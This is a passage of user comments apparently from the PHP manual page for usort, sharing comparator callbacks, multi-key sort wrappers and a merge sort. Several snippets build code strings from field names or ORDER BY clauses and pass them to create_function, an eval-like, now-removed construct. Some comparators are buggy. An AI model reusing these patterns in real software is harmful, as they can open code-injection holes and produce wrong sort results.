    usortByArrayKey($resultset, array('product_id', 'customer_id', 'date'=>SORT_DESC));

5) Sort a multi-dimensional array by multiple keys, all from greatest to least:
    usortByArrayKey($resultset, array('product_id', 'price'), SORT_DESC);

One word of caution, since SORT_ASC and SORT_DESC have actual int values of 4 and 3, respectively, if you need to sort a multi-dimensional array by keys 3 or 4, and you're using an array to pass in your keys, you MUST specify your sort flags (e.g. array(3 => SORT_ASC,...)) to prevent unexpected behavior, instead of relying on the function's second parameter as your default sort flag.
fmaz008 at gmail dot com 29-Sep-2010 11:23
This comment is just to help backward compatibility.

I needed to have a foreach loop using reference just before using the usort function on the same array that was used in the foreach.

Like this:
<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        usort($this->_arrSubCat, 'strcasecmp');
}
?>

I had this strange bug where the last object of the $this->_arrSubCat array before the sort was alway replaced/overwrited with his string value.

On my machine (PHP 5.3), I had no problem, but when I placed the code on another server, my code crashed with a fatal error (Because I was using a string as an object later in the code)

The solution I found is really simple, and avoid the array to have a reference declared in memory while running the sort function. Just add an unset($cat):

<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        unset($cat); //No more problem because of the foreach &cat reference.
        usort($this->_arrSubCat, 'strcasecmp');
}
?>

It took me an hour an a half to locate the bug, hope it will save someone some time !
phil at lavin dot me dot uk 01-Aug-2010 08:06
strcmp (or strcasecmp) can be used as a callback function for usort. It will cast your comparison values to string. Thus, you can implement a __toString() method into your classes and use usort without creating a callback function:

<?php
class Foo {
   private $a;
   private $b;

   public function __construct($a, $b) {
      $this->a = $a;
      $this->b = $b;
   }

   public function __toString() {
      return (string)$this->a;
   }
}

$foo = array(new Foo('t', 'b'), new Foo('a', 'c'), new Foo('g', 'd'));

print_r($foo);

usort($foo, 'strcasecmp');

print_r($foo);
?>
xaguilars at gmail dot com 06-May-2010 01:03
I'd like to share with the community my function for sorting an array of arrays or objects containing associative data. This could be used, for example, with a MySQL result.

<?php
function sort_by($field, &$arr, $sorting=SORT_ASC, $case_insensitive=true){
    if(is_array($arr) && (count($arr)>0) && ( ( is_array($arr[0]) && isset($arr[0][$field]) ) || ( is_object($arr[0]) && isset($arr[0]->$field) ) ) ){
        if($case_insensitive==true) $strcmp_fn = "strnatcasecmp";
        else $strcmp_fn = "strnatcmp";

        if($sorting==SORT_ASC){
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($a->'.$field.', $b->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($a["'.$field.'"], $b["'.$field.'"]);
                }else return 0;
            ');
        }else{
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($b->'.$field.', $a->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($b["'.$field.'"], $a["'.$field.'"]);
                }else return 0;
            ');
        }
        usort($arr, $fn);
        return true;
    }else{
        return false;
    }
}
?>
nicolas dot demarque at gmail dot com 10-Apr-2010 08:37
Another way to compare object is to have a compare static function in the class with reccursion ability and have globals or static variables who save the state of comparison, and the order.

It could be a good idea to have a variable with comparison functions name (with the sorting : numeric, alphanumeric, inverse).

<?php
interface Comparable{static function compare($a, $b);}
class myObj implements Comparable{
        var $var1; var $var2; var $var3;
        function __construct($v1, $v2, $v3){
                $this->var1=$v1; $this->var2=$v2; $this->var3=$v3;
        }
        public function __toString() {
                return "v1 ".$this->var1." v2 ".$this->var2." v3 ".$this->var3;
        }
        static function compare($a, $b){
                $sort=$GLOBALS['sorts'][$GLOBALS['sort']];
                echo "$sort\n";
                if($a->$sort == $b->$sort){
                        if($GLOBALS['sorts'][$GLOBALS['sort']+1]){
                                $GLOBALS['sort']++;
                                $res=  call_user_func(array('myObj', 'compare'), $a, $b);
                                $GLOBALS['sort']=0; return $res;
                        }
                        $GLOBALS['sort']=0; return 0;
                }
                $GLOBALS['sort']=0;
                if($a->$sort > $b->$sort)
                        return 1;
                return -1;
        }
}

$objects = array(new myObj("1", "2", "3"), new myObj("2", "2", "2"), new myObj("1", "3", "4"));

/* Tests */
$sorts=Array('var1', 'var2', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("var1 var2 var3\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var3', 'var1'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var3 var1\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var1', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var1 var3\n"); foreach($objects as $o)echo $o."\n";

?>
Paul Geraghty foofoonet at the G Mall 27-Nov-2009 08:42
For anyone else sorting mixed RSS feeds in date order, here's an example of the perhaps not so obvious way of calling a method from the same class using usort():

<?php
class MyAggregator {

  static function cmp_pubdate( $a, $b ) {
    $a_t = strtotime( $a['pubdate'] ) ;
    $b_t = strtotime( $b['pubdate'] ) ;

    if( $a_t == $b_t ) return 0 ;
    return ($a_t > $b_t ) ? -1 : 1;
  }

// assemble arrays for display in date order
  function all_documents(){
    $all_data  = array_merge (
    $this->upcoming(), $this->past() ) ;

// Use within its own class using the $this syntax so:
    usort( $all_data, array( $this , "cmp_pubdate" ) ) ;

  return $all_data ;
  }
}
?>

As previously said, use as a static function in other parts of your code:

<?php usort ( $a, array( "MyAggregator", "cmp_pubdate" ) ) ; ?>
Rogier 16-Nov-2009 12:50
<?php
// I have seen many examples of sorting, almost all of which
// are too specific and require one implementation per property
// on which to sort.
// So I decided to use Reflection, implementing a more generic approach that in fact turned out
// to resemble an approach I used in the early days of .NET...

// Intentionally, I did not do any checking on existing
// items. This is just to keep simplicity and to
// demonstrate the sorting functionality.

// A more real-life appraoach would require e.g. a collection that is based
// on implementing the Iterator, ArrayAccess and Countable interfaces.

// Take note that this implementation is specific for PHP5+ only
// This code was tested on PHP 5.0.4

class SortableItem
{
    static public $sortProperty;

    static function USortAsc($a, $b)
    {
        /*@var $_pd ReflectionProperty*/
        $_pd = self::$sortProperty;
        if ($_pd !== null)
        {
            if ($_pd->getValue($a) === $_pd->getValue($b))
                return 0;
            else
                return (($_pd->getValue($a) < $_pd->getValue($b))?-1:1);
        }
        return 0;
    }

    static function USortDesc($a, $b)
    {
        return -(self::USortAsc($a,$b));
    }

}
class Item extends SortableItem
{
    public $name;
    public $index;
    public $description;

    function __construct($nam,$idx,$desc)
    {
        $this->name = $nam;
        $this->index = $idx;
        $this->description = $desc;
    }
    function __toString()
    {
        return "$this->index; $this->name; $this->description\n";
    }
}
class ItemCollection
{
    protected $_array = array();
    protected $_itemDescriptor;

    function __construct()
    {
        $this->_itemDescriptor = new ReflectionClass('Item');
    }

    function Add(Item $item)
    {
        $this->_array[] = $item;
    }

    function Sort($property, $asc=true)
    {
        // this is where sorting logic takes place
        $_pd = $this->_itemDescriptor->getProperty($property);
        if ($_pd == null)
        {
            user_error('Property '.$property.' does not exist in class '.$this->_itemDescriptor->getName(), E_WARNING);
            return;
        }
        // set sortDescriptor
        Item::$sortProperty = $_pd;
        // and apply sorting
        usort($this->_array, array('Item', ($asc?'USortAsc':'USortDesc')));
    }

    function getItems(){return $this->_array;}
}

//testing it....
$utime = microtime(true);
$coll = new ItemCollection();
$coll->Add( new Item('apple',0,'a sour fruit') );
$coll->Add( new Item('pear',54,'delicious pears') );
$coll->Add( new Item('mango',245,'bread and butter') );

echo PHP_EOL,'sort by index, asc',PHP_EOL;
$coll->Sort('index',true);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by index, desc',PHP_EOL;
$coll->Sort('index',false);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by name, asc',PHP_EOL;
$coll->Sort('name',true);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by name, desc',PHP_EOL;
$coll->Sort('name',false);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}
$utime = microtime(true)-$utime;
echo PHP_EOL,' sorting all took ',round(1000*$utime,2),' ms';
?>
Will Shaver 27-Aug-2009 11:31
An even better implementation of osort [than my original, posted on 24-AUG-09 (since deleted)], allowing for multiple properties and directions.  With php 5.3.0 sorting by properties of an object becomes MUCH simpler.  Note that this uses anonymous functions / closures. Might find reviewing the php docs on that useful.  Look below for examples for previous version of php.

<?php
function osort(&$array, $props)
{
    if(!is_array($props))
        $props = array($props => true);

    usort($array, function($a, $b) use ($props) {
        foreach($props as $prop => $ascending)
        {
            if($a->$prop != $b->$prop)
            {
                if($ascending)
                    return $a->$prop > $b->$prop ? 1 : -1;
                else
                    return $b->$prop > $a->$prop ? 1 : -1;
            }
        }
        return -1; //if all props equal
    });
}
?>

Usage:

<?php
osort($items, array("Color" => true, "Size" => false));
//or
osort($items, "Color");
?>
maarten at xel dot nl 17-Jul-2009 05:45
If you ever have to sort a collection of objects on something like a string (name) present in every object, but want to keep the array of objects intact you might find this useful:

<?php
function naturalSortObjectArray($objectArray) {
        function naturalSortByName($a, $b) {
            return strnatcmp($a->name, $b->name);
        }
        usort($objectArray, "naturalSortByName");
        return $objectArray;
}
?>
phpguy at lifetoward dot com 12-Jun-2009 02:54
I recommend that you take special note of the fact that an INTEGER value must be returned from a sorting callback function. So, let's say you want to sort arrays by a quotient of two of their elements and to do so you write something like:
<?php
function sorter($a, $b)
{ return $a['num']/$a['denom'] - $b['num']/$b['denom']; }
?>

You may not get the result you want because probably $x['num']/$x['denom'] has absolute value less than 1 and you'll get a lot of "same value" effective results from the comparator function as integer rounding occurs.

To solve this just boost up the quotients to be big integers, then subtract them:

<?php
function sorter($a, $b)
{ return 1000*$a['num']/$a['denom'] - 1000*$b['num']/$b['denom']; }
?>
huskyr at gmail dot com 28-May-2009 03:04
Remember that functions inside of functions will become part of the global scope too. So, something like:

<?php
    function foo($array) {
        function compare($a,$b) {
            return $a < $b;
        }
        usort($array, "compare");
        return $array;
    }

    function bar($array) {
        function compare($a,$b) {
            return $a > $b;
        }
        usort($array, "compare");
        return $array;
    }

    foo($something);
    bar($something_else);
?>

Will result in a fatal error because you're redeclaring 'compare'. This could be a little strange, e.g. for JavaScript programmers who expect functions in functions to become private outside of the parent scope.
gmail.com - nmcquay 31-Mar-2009 09:25
I wrote a wrapper for usort that lets you use something similar to an SQL ORDER BY clause. It can sort arrays of associative arrays and arrays of objects and I think it would work with some hybrid case.

Example of how the function works:

<?php
$testAry = array(
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 2, 'b' => 3, 'c' => 1),
  array('a' => 3, 'b' => 1, 'c' => 2)
);

Utility::orderBy($testAry, 'a ASC, b DESC');

//Result:
$testAry = array(
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 3, 'c' => 1),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 3, 'b' => 1, 'c' => 2)
);
?>

To sort an array of objects you would do something like:
Utility::orderBy($objectAry, 'getCreationDate() DESC, getSubOrder() ASC');

This would sort an array of objects that have methods getCreationDate() and getSubOrder().

Here is the function:

<?php
class Utility {
    /*
    * @param array $ary the array we want to sort
    * @param string $clause a string specifying how to sort the array similar to SQL ORDER BY clause
    * @param bool $ascending that default sorts fall back to when no direction is specified
    * @return null
    */
    public static function orderBy(&$ary, $clause, $ascending = true) {
        $clause = str_ireplace('order by', '', $clause);
        $clause = preg_replace('/\s+/', ' ', $clause);
        $keys = explode(',', $clause);
        $dirMap = array('desc' => 1, 'asc' => -1);
        $def = $ascending ? -1 : 1;

        $keyAry = array();
        $dirAry = array();
        foreach($keys as $key) {
            $key = explode(' ', trim($key));
            $keyAry[] = trim($key[0]);
            if(isset($key[1])) {
                $dir = strtolower(trim($key[1]));
                $dirAry[] = $dirMap[$dir] ? $dirMap[$dir] : $def;
            } else {
                $dirAry[] = $def;
            }
        }

        $fnBody = '';
        for($i = count($keyAry) - 1; $i >= 0; $i--) {
            $k = $keyAry[$i];
            $t = $dirAry[$i];
            $f = -1 * $t;
            $aStr = '$a[\''.$k.'\']';
            $bStr = '$b[\''.$k.'\']';
            if(strpos($k, '(') !== false) {
                $aStr = '$a->'.$k;
                $bStr = '$b->'.$k;
            }

            if($fnBody == '') {
                $fnBody .= "if({$aStr} == {$bStr}) { return 0; }\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            } else {
                $fnBody = "if({$aStr} == {$bStr}) {\n" . $fnBody;
                $fnBody .= "}\n";
                $fnBody .= "return ({$aStr} < {$bStr}) ? {$t} : {$f};\n";
            }
        }

        if($fnBody) {
            $sortFn = create_function('$a,$b', $fnBody);
            usort($ary, $sortFn);
        }
    }
}
?>
luke dot semerau at gmail dot com 28-Mar-2009 09:25
If you need to use usort with a key in the calling method, I wrote this as a utility:
<?php

function usort_comparison($obj, $method, $key) {
    $usorter = &new Usort($obj, $method, $key);
    return array($usorter, "sort");
}

class Usort {
    function __construct($obj, $method, $key) {
        $this->obj = $obj;
        $this->method = $method;
        $this->key = $key;
    }
    function sort($a, $b) {
        return call_user_func_array(array($this->obj, $this->method), array($a, $b, $this->key));
    }
}

?>

<?php

require_once("util/usort.php");

class Foo {
    $items = array(FooBar(13), FooBar(2));
    public function sorter() {
        usort($this-items, usort_comparison("Foo", "_cmp", "item"));
    }

    public static function _cmp($a, $b, $key) {
         return strcasecmp($a->$key, $b->$key);
    }

}

class FooBar {
    public $item;
    function __construct($val) {
        $this->item = $val;
    }
}

?>

~ simple example... but in the way I need to use it was the key was used in a switch statement to choose the different member of the object to compare against dynamically (as in, sort by x or y or z)
Anonymous 12-Jan-2009 12:14
To sort reliably on more than one "column" in database-style arrays, handle this within your cmp function where the first field to be sorted returns 0:

<?php

function cmp($a, $b){

 if($a[field_1] == $b[field_1]){

  if($a[field_2] == $b[field_2]){

   return 0;

  }

  elseif($a[field_2] > $b[field_2]){

   return -1;

  }

  elseif($a[field_2] < $b[field_2]){

   return 1;

  }

 }

 elseif($a[field_1] > $b[field_1]){

  return -1;

 }

 elseif($a[field_1] < $b[field_1]){

  return 1;

 }

}

?>

Sorting by doing multiple passes does not seem to be reliable.
jalil at measat dot org 29-Dec-2008 02:37
<?php
/*---------------------------------------------------------
* my own home made easy object sort, which
* i cannot find anywhere on the net
* at all, tut. i can find only complicated ones,
* which brings me a headache.
*
* You can enhance it to return all sorts of error
* conditions if you wish,
* i need nothing but a false return upon failure to sort,
* so that is the only error i have here
*
* Example usage:
*
* INPUT                 -       $objects_array
// an array of objects for sorting

* PARAMETERS    -       property
// the property of the object to be sorted

* OUTPUT                -       $engine
// an engine object created by new,
// with your arrays of objects sorted according to your
// selected property
//( the sorting is done upon sort object creation )
*
* Code Examples
*
* $engine = new objSorter($objects_array);
// sorts on FIRST property -  default

* $engine = new objSorter($objects_array,'property');
// sort on ANY specific property
*--------------------------------------------------------*/

class objSorter
{
var $property;
var $sorted;

    function ObjSorter($objects_array,$property=null)
        {
            $sample    = $objects_array[0];
            $vars    = get_object_vars($sample);

        if (isset($property))
            {
            if (isset($sample->$property))
// make sure requested property is correct for the object
                {
                $this->property = $property;
                usort($objects_array, array($this,'_compare'));
                }
            else
                {
                $this->sorted    = false;
                return;
                }
            }
        else
            {
                list($property,$var)     = each($sample);
                $this->property         = $property;
                usort($objects_array, array($this,'_compare'));
            }

        $this->sorted    = ($objects_array);
        }

    function _compare($apple, $orange)
        {
        $property    = $this->property;
        if ($apple->$property == $orange->$property) return 0;
        return ($apple->$property < $orange->$property) ? -1 : 1;
        }
} // end class
?>

USAGE EXAMPLE
DUMP ORIGINAL
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )

SORTED by age

<?php
$objects                = new ObjSorter($objects_array,'age');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )

SORTED by richness

<?php
$objects                = new ObjSorter($objects_array,'richness');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => â‚¬ 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => â‚¬ 198,231 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => â‚¬ 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => â‚¬ 3,272 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => â‚¬ 302,352 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => â‚¬ 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => â‚¬ 763,860 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => â‚¬ 899,970 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => â‚¬ 94,853 )

Simulated wrong property request ( dumb property )

<?php
$objects                = new ObjSorter($objects_array,'dumb property');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
else echo 'DUMB ERROR';
?>

DUMB ERROR
drorasta 22-Jun-2008 07:16
Here's how you can usort() a multidimensional array (like in example #2 above) within a class:

<?php usort($myArray, array("className", "cmp")); ?>
Ariz Jacinto 13-May-2008 07:50
Here's how to use usort() within a class using a static function as a callback (using the example above):

<?php

class MyObj {
    var $name;

    function SampleObj($name){
        $this->name = $name;

        usort($this->name, array(&$this, "compareValues"));

    }

    static function compareValues($a, $b){
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

?>
Sid_M 06-Nov-2007 02:54
The sample function for having the sort function be a class method has a comment identifying the sorting function as static, however the function does not have the static keyword. In PHP 5 (at least as configured on my server), usort will fail, identifying the method as non-static. Preceding the function keyword with the static keyword fixed the problem.
Tim 13-Nov-2006 12:43
If you want to sort an array of strings by the length of its values, you can write a better cmp-function than manually comparing string lengths with if-statements. Unfortunately, I see this bad technique in other people's code. I prefer using this:

<?php
function length_cmp( $a, $b ) {
    return strlen($a)-strlen($b) ;
}
?>

This function sorts the array in ascending order. If you want to sort descending, simply swap $a and $b either in the parameters or in the subtraction.

-Tim
svenxy AT nospam gmx net 16-Oct-2006 10:58
This will sort subnets correctly:

<?php

$zones =
array('192.168.11',
'192.169.12',
'192.168.13',
'192.167.14',
'192.168.15',
'122.168.16',
'192.168.17'
);

function sort_subnets ($a, $b) {
    $a_arr = explode('.', $a);
    $b_arr = explode('.', $b);
    foreach (range(0,3) as $i) {
        if ( $a_arr[$i] < $b_arr[$i] ) {
            return -1;
        }
        elseif ( $a_arr[$i] > $b_arr[$i] ) {
            return 1;
        }
    }
    return -1;
}

usort($zones, 'sort_subnets');
print '<pre>';
print_r($zones);
print '</pre>';

?>
stephen in koto 06-Apr-2006 07:28
For using usort inside a method in an object, where the callback sort method is in the same object, this works:

<?php usort($arr_to_sort, array($this, "sort_terms_by_criteria")); ?>

If you wish to keep elements in their original or reverse order if they are the same length, just don't return zero for items that compare the same. Return a 1 or -1, as appropriate.
sydney at totoche dot org 16-Jan-2006 10:44
Instead of doing  :

<?php $strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) ); ?>

you could do this :

<?php $strc = strcasecmp( $a[$f], $b[$f] ); ?>

which is more efficient and is does case insensitive comparison according to the current locale.
sean at NOSPAM dot orwd dot com 23-Sep-2005 11:46
In order to get a proper text sorting I have changed the arfsort() function submitted by jonathan(at)inetz(dot)com.

The one line I have changed is:

<?php
$strc = strcmp( $a[$f], $b[$f] );
?>

to

<?php
$strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) );
?>

It can now sort correctly for alphabetization.  Capital letters where getting in the way.

Sean
Jeremy Swinborne 20-Jul-2005 10:56
When I query a DB I usually put my record set inside of a multi-dimentional array.  I finally wrote a program that will allow you to sort your record set by column after you put it in an array.

<?php
$test = array();
$test[0]['name'] = 'jeremy';
$test[0]['email'] = 'lala@example.com';
$test[0]['phone'] = '123-123-1234';
$test[0]['trick'] = 'mezopia';

$test[1]['name'] = 'Amanda';
$test[1]['email'] = 'hot@example.com';
$test[1]['phone'] = '123-123-1235';
$test[1]['trick'] = 'youarecool';

$test[2]['name'] = 'john';
$test[2]['email'] = 'wowee@example.com';
$test[2]['phone'] = '123-123-3333';
$test[2]['trick'] = 'goneinanhour';

print_r(columnSort($test, 'name'));

function columnSort($unsorted, $column) {
    $sorted = $unsorted;
    for ($i=0; $i < sizeof($sorted)-1; $i++) {
      for ($j=0; $j<sizeof($sorted)-1-$i; $j++)
        if ($sorted[$j][$column] > $sorted[$j+1][$column]) {
          $tmp = $sorted[$j];
          $sorted[$j] = $sorted[$j+1];
          $sorted[$j+1] = $tmp;
      }
    }
    return $sorted;
}
?>
dmhouse at gmail dot com 19-Jul-2005 11:09
The easiest way to compare two integers is just to take the second away from the first. For example, say you wanted to sort by an integer property of an object. Your comparison function would look like this:

<?php
function compare_counts($a, $b) {
  return $a->count - $b->count;
}
?>

This works because you don't necessarily have to return -1, 0 or 1, the manual states any integer less than, equal to or greater than 0 is OK.
guenther dot stadler at gmx dot net 30-Mar-2005 11:25
Just something i stumbled about right now:
If the array consists of just one elemtent, the user-function is not called at all.

Although this surely makes sense, think of it if you want to use your order-function for adding extra data to your arrays...
Raveler at telenet dot be 20-May-2004 07:02
The array_alternate_multisort function written by robert below doesn't work. There are several bugs in the code and it doesn't work when sorting by multiple keys because the order of the first key isn't taken into account when sorting by the second key and so on. Also, because robert uses strcasecmp the algorithm doesn't work properly with floats or other variable types. Here's the improved version:

<?php
    function SortArray() {
        $arguments = func_get_args();
        $array = $arguments[0];
        $code = '';
        for ($c = 1; $c < count($arguments); $c += 2) {
            if (in_array($arguments[$c + 1], array("ASC", "DESC"))) {
                $code .= 'if ($a["'.$arguments[$c].'"] != $b["'.$arguments[$c].'"]) {';
                if ($arguments[$c + 1] == "ASC") {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? -1 : 1); }';
                }
                else {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? 1 : -1); }';
                }
            }
        }
        $code .= 'return 0;';
        $compare = create_function('$a,$b', $code);
        usort($array, $compare);
        return $array;
    }
?>
todor at todor dot net 08-Mar-2004 01:39
To sort multidimentional arrays .... by one key.

<?php
function multi_sort($tab,$key){
    $compare = create_function('$a,$b','if ($a["'.$key.'"] == $b["'.$key.'"]) {return 0;}else {return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;}');
    usort($tab,$compare) ;
    return $tab ;
}
?>
arjini at mac dot com 27-Jan-2004 07:05
<?php
/*
This is a class I built to sort parent/child relationships of array elements.
I post this here, because thanks to usort, you can also assign an explicit order
to the elements.

I first built this to sort categories and subcategories.

My database has four fields. category_id, parent_id, category_name, category_position

$rows is an associative array from the database with my categories.
*/
$rows = array( 0=>array('category_id'=>1,'parent_id' =>3,'category_name' =>'Second Child','category_position'=>2),
                    1=>array('category_id' =>2,'parent_id' =>0,'category_name' =>'Second Parent','category_position'=>2),
                    2=>array('category_id' =>3,'parent_id' =>0,'category_name' =>'First Parent','category_position'=>1),
                    3=>array('category_id' =>4,'parent_id' =>0,'category_name' =>'Third Parent','category_position'=>3),
                    4=>array('category_id' =>5,'parent_id' =>3,'category_name' =>'First Child','category_position'=>1),
                    5=>array('category_id' =>6,'parent_id' =>5,'category_name'=>'Second Sub-Child','category_position'=>2),
                    6=>array('category_id' =>7,'parent_id' =>5,'category_name' =>'First Sub-Child','category_position'=>1)
                    );

$ordered = chain('category_id', 'parent_id', 'category_position', $rows);

foreach($ordered as $item)
{
    echo str_repeat('------', $item['indent']).$item['category_name'].'<br>';
}

/*

Output

First Parent
------First Child
------------First Sub-Child
------------Second Sub-Child
------Second Child
Second Parent
Third Parent

You can have it only return a certain "branch" if you specify a root_id.
Aditionally, you can keep it by going to deep by specifying max-level.

Hope someone finds this useful, I sure would have liked to see this here a week ago.

Ah yes... and the code that runs it.
*/

function chain($primary_field, $parent_field, $sort_field, $rows, $root_id=0, $maxlevel=25)
{
    $c = new chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel);
    return $c->chain_table;
}

class chain
{
    var $table;
    var $rows;
    var $chain_table;
    var $primary_field;
    var $parent_field;
    var $sort_field;

    function chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel)
    {
        $this->rows = $rows;
        $this->primary_field = $primary_field;
        $this->parent_field = $parent_field;
        $this->sort_field = $sort_field;
        $this->buildChain($root_id,$maxlevel);
    }

    function buildChain($rootcatid,$maxlevel)
    {
        foreach($this->rows as $row)
        {
            $this->table[$row[$this->parent_field]][ $row[$this->primary_field]] = $row;
        }
        $this->makeBranch($rootcatid,0,$maxlevel);
    }

    function makeBranch($parent_id,$level,$maxlevel)
    {
        $rows=$this->table[$parent_id];
        foreach($rows as $key=>$value)
        {
            $rows[$key]['key'] = $this->sort_field;
        }

        usort($rows,'chainCMP');
        foreach($rows as $item)
        {
            $item['indent'] = $level;
            $this->chain_table[] = $item;
            if((isset($this->table[$item[$this->primary_field]])) && (($maxlevel>$level+1) || ($maxlevel==0)))
            {
                $this->makeBranch($item[$this->primary_field], $level+1, $maxlevel);
            }
        }
    }
}

function chainCMP($a,$b)
{
    if($a[$a['key']] == $b[$b['key']])
    {
        return 0;
    }
    return($a[$a['key']]<$b[$b['key']])?-1:1;
}

?>
sreid at sea-to-sky dot net 08-Jan-2004 05:22
As the manual says, "If two members compare as equal, their order in the sorted array is undefined." This means that the sort used is not "stable" and may change the order of elements that compare equal.

Sometimes you really do need a stable sort. For example, if you sort a list by one field, then sort it again by another field, but don't want to lose the ordering from the previous field. In that case it is better to use usort with a comparison function that takes both fields into account, but if you can't do that then use the function below. It is a merge sort, which is guaranteed O(n*log(n)) complexity, which means it stays reasonably fast even when you use larger lists (unlike bubblesort and insertion sort, which are O(n^2)).

<?php
function mergesort(&$array, $cmp_function = 'strcmp') {
    // Arrays of size < 2 require no action.
    if (count($array) < 2) return;
    // Split the array in half
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway);
    $array2 = array_slice($array, $halfway);
    // Recurse to sort the two halves
    mergesort($array1, $cmp_function);
    mergesort($array2, $cmp_function);
    // If all of $array1 is <= all of $array2, just append them.
    if (call_user_func($cmp_function, end($array1), $array2[0]) < 1) {
        $array = array_merge($array1, $array2);
        return;
    }
    // Merge the two sorted arrays into a single sorted array
    $array = array();
    $ptr1 = $ptr2 = 0;
    while ($ptr1 < count($array1) && $ptr2 < count($array2)) {
        if (call_user_func($cmp_function, $array1[$ptr1], $array2[$ptr2]) < 1) {
            $array[] = $array1[$ptr1++];
        }
        else {
            $array[] = $array2[$ptr2++];
        }
    }
    // Merge the remainder
    while ($ptr1 < count($array1)) $array[] = $array1[$ptr1++];
    while ($ptr2 < count($array2)) $array[] = $array2[$ptr2++];
    return;
}
?>
webmaster at zeroweb dot org 20-Dec-2003 12:05
Needed a quick, fairly uncluttered way of sorting an array of objects by a certain object attribute, so here's what I came up with. Uses one global array and usort(). Also accepts an optional sort direction argument (CSORT_ASC = sort ascending, CSORT_DESC = sort descending). Use it like this:

(assuming $myarray is your array, "index" is the attribute you want to sort by, and you want to sort in descending order)

      csort($myarray, "index", CSORT_DESC);

Hope this is of use to someone. Probably a better way to pull this off, but this works alright.

<?php
define("CSORT_ASC",     1);
define("CSORT_DESC",     -1);

function csort_cmp(&$a, &$b)
{
    global $csort_cmp;

    if ($a->$csort_cmp['key'] > $b->$csort_cmp['key'])
        return $csort_cmp['direction'];

